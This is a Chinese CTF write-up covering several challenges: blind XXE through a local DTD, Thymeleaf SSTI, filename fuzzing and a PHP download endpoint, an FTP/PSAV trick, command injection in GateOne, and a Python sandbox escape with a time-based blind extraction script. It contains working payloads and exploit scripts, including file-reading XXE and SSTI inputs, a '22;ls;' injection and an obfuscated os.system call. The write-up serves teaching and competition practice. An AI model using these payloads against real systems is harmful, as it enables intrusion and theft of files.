import('0'+'s').getattribute('sy'+'stem')('whoami')
import.getattribute('func_clo'+'sure')[0].cell_contents('o'+'s').getattribute('sy'+'stem')('sleep 5')
LookAround
- 知识点:Blind XXE
- 解题步骤
打开页面查看源代码,发现有一个这个定时器,每 10 秒发个 xml 请求
测试一下这个接口,无回显,同时屏蔽了外网访问,就考虑来利用本地的 DTD 玩 XXE,题目提示了镜像名,下个同名镜像,创建个容器,寻找系统中的 dtd文档
文章下面的视频就可以知道 tomcat:8-jre8 中的fonts.dtd可用,根据这篇文档中的payload进行改造得到flag:
https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<message></message>
参考资料:Blind XXE详解与Google CTF一道题分析
render
- 知识点:SSTI
- 解题步骤
查看源代码,发现关键代码:
访问api页面,发现错误页面是 Spring boot 的
测试到 [[${1+1}]]的时候返回了 2,说明是 Thymeleaf 渲染了。Thymeleaf 能拿两个中括号来取表达式的值
参考:https://dotblogs.com.tw/cylcode/2018/09/21/170510 读取文件
构造payload:
{"content":"[[${new java.io.BufferedReader(new java.io.FileReader(\"/flag\")).readLine()}]]"}
注意点:由于是json格式,所以请求头要加上类型,确保后端解析正常,否则会包415错误
<?php
error_reporting(0);
include "../../utils/utils.php";
if(isset($_REQUEST['filename']) and preg_match("/^\w{8}$/", $_REQUEST['filename'])){ //\w 匹配字母或数字或下划线或汉字 等价于 '[^A-Za-z0-9_]' 匹配八次
$filename = strtolower($_REQUEST['filename']); //strtolower() 函数把字符串转换为小写
touch("backup/{$filename}.txt"); //创建指定文件
unlink(glob("backup/*")[0]); //glob() 函数返回匹配指定模式的文件名或目录
}
else{
highlight_file(__FILE__);
}
?>
正则匹配的是字母数字和下划线,固定长度为8,排序后会删除第一个文件,所以我们
写入的文件排序在后面的话是不会被删除的,所以猜测,列表中存在存在某个不会被删除
的文件,而这个目录又叫backup,所以猜测,可能会有隐藏的源码备份文件,而如果我们写入的文件排在固定文件之前,我们的文件会被删除。所以利用这个特性来fuzz固定文件的文件名,最后得到文件名为 aefebab8.txt
import requests
filename = ""
letters=['1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','g','h','i','j','k','l','m','n','u','p','q','r','s','t','o','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0']
flag = 7
for j in range(8):
for i in letters:
tempname = filename + i + "z"*(flag)
# print(tempname)
requests.get("http://47.107.255.20:18088/users/0a0d713b3e0e7d16e0ba9b7a425f7c07/",params={"filename": tempname})
r = requests.get("http://47.107.255.20:18088/users/0a0d713b3e0e7d16e0ba9b7a425f7c07/backup/" + tempname + ".txt")
# print(r.status_code)
if r.status_code != 404:
print(tempname)
filename = filename + i
flag=flag-1
break
访问aefebab8.txt,其中内容为
<!-- src/8a66c58a168c9dc0fb622365cbe340fc.php -->
<?php
include "../utils/utils.php";
$sandbox = Get_Sandbox();
if(isset($_REQUEST['method'])){
$method = $_REQUEST['method'];
if($method == 'info'){
phpinfo();
}elseif($method == 'download' and isset($_REQUEST['url'])){
$url = $_REQUEST['url'];
$url_parse = parse_url($url);//解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分
if(!isset($url_parse['scheme']) or $url_parse['scheme'] != 'http' or !isset($url_parse['host']) or $url_parse['host'] == ""){
die("something wrong");
}
$path_info = pathinfo($url);
if(strpos($path_info['filename'], ".") !== false){
die("something wrong");
}
if(!Check_Ext($path_info['extension'])){
die("something wrong");
}
$response = GetFileInfoFromHeader($url);
$save_dir = "../users/${sandbox}/uploads/{$response['type']}/";
if(is_dir(dirname($save_dir)) and !is_dir($save_dir)){
mkdir($save_dir, 0755);
}
$save_path = "{$save_dir}{$path_info['filename']}.{$response['ext']}";
echo "/uploads/{$response['type']}/{$path_info['filename']}.{$response['ext']}";
if(!is_dir($save_path)){
file_put_contents($save_path, $response['content']);
}
}
}
给了源文件地址和源码,,通过源文件查看phpinfo,可以得到网站根路径,以及知道有disable_function
Easy Realworld Challenge
因为题目上有一个log viewer,可以查看之前选手的操作记录(还是视频的),跟着telnet://172.18.0.3 用户ctf,密码ctf,之后利用PSAV方式于服务器建立连接接收数据。
然后新建一个终端到生成的端口号上接收数据
PSAV生成的例如:(172,18,0,3,131,116),那么生成的端口号就是:131*256+116 = 33652
参考资料:ftp命令
Easy Realworld Challenge 2
- 解题过程
题目是一个开源的一个HTML5 web-based terminal emulator and SSH client,地址:https://github.com/liftoff/GateOne,题目提示flag is in localhost, show me your shell! ,要求是getshell,分析代码
https://github.com/liftoff/GateOne/blob/master/gateone/applications/terminal/plugins/ssh/ssh.py
get_host_fingerprint函数在执行连接命令的时候直接拼接了输入参数
寻找函数触发的地方,在WebSocket中触发执行
在ssh 连接发起之后会获取一下当前连接目标的 ssh 指纹,也就触发这个命令了。所以我们就可以在这个时候从客户端发出一个恶意消息,服务端解析之后直接格式化到命令里就可以 RCE 了。
GateOne来发送WebSocket,从而触发执行。所以我们可以自己构造 go.ws.send(JSON.stringify({'terminal:ssh_get_host_fingerprint': message}));语句,通过port来进行命令拼接,从而实现在终端上执行任意命令
GateOne.ws.send('{"terminal:ssh_get_host_fingerprint":{"host":"www.baidu.com","port":"22;ls;"}}')
所以拼接一下cat /ppppp_f_l_4_g_mmm文件的命令就可以拿到flag了
PyBox
- 考点:Python沙箱逃逸,时间盲注
- 解题过程
连接NC ,是一个Python的命令行交互
经过测试,没有输出回显,还过滤了os,eval,system等函数,用闭包抽出来外部参数的变量 (Python3 所以 func_closure 和 closure 都可以使) 来引用 os 模块,再调用 system,因为 system 和 os 被屏蔽了,需要用加号连接起来绕过屏蔽。测试执行 sleep 5 成功了。
本地测试用cut命令逐位读取文件
创建布尔盲注条件语句:
exp如下:
from pwn import *
context.log_level = "debug"
sh = remote("47.112.108.17",12312, timeout=300)
sh.recvuntil(">>>")
result = ""
for i in range(1, 46):
for j in range(31, 255):
sendtime = time.time()
sh.sendline("__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -b " + str(i) + " /home/flag`; [ $a = \"" + chr(j) + "\" ] && sleep 3 ')")
sh.recvuntil(">>>")
recvtime = time.time()
if recvtime - sendtime > 2:
print("get!")
result += chr(j)
print(result)
break
if j == 254:
print(str(i) + " unknown!")
break
print(result)
2019
- 解题过程
解压得到一张图片,图片分析工具发现存在lsb隐写
提取信息,先进行base64,然后进行base85解码,这完全是坑啊
得到字符串QW8obWdIW11XTyxyOFVTM0dNMlIySSVZQjdzdA==,base64解密如下
base85解码如下
网友评论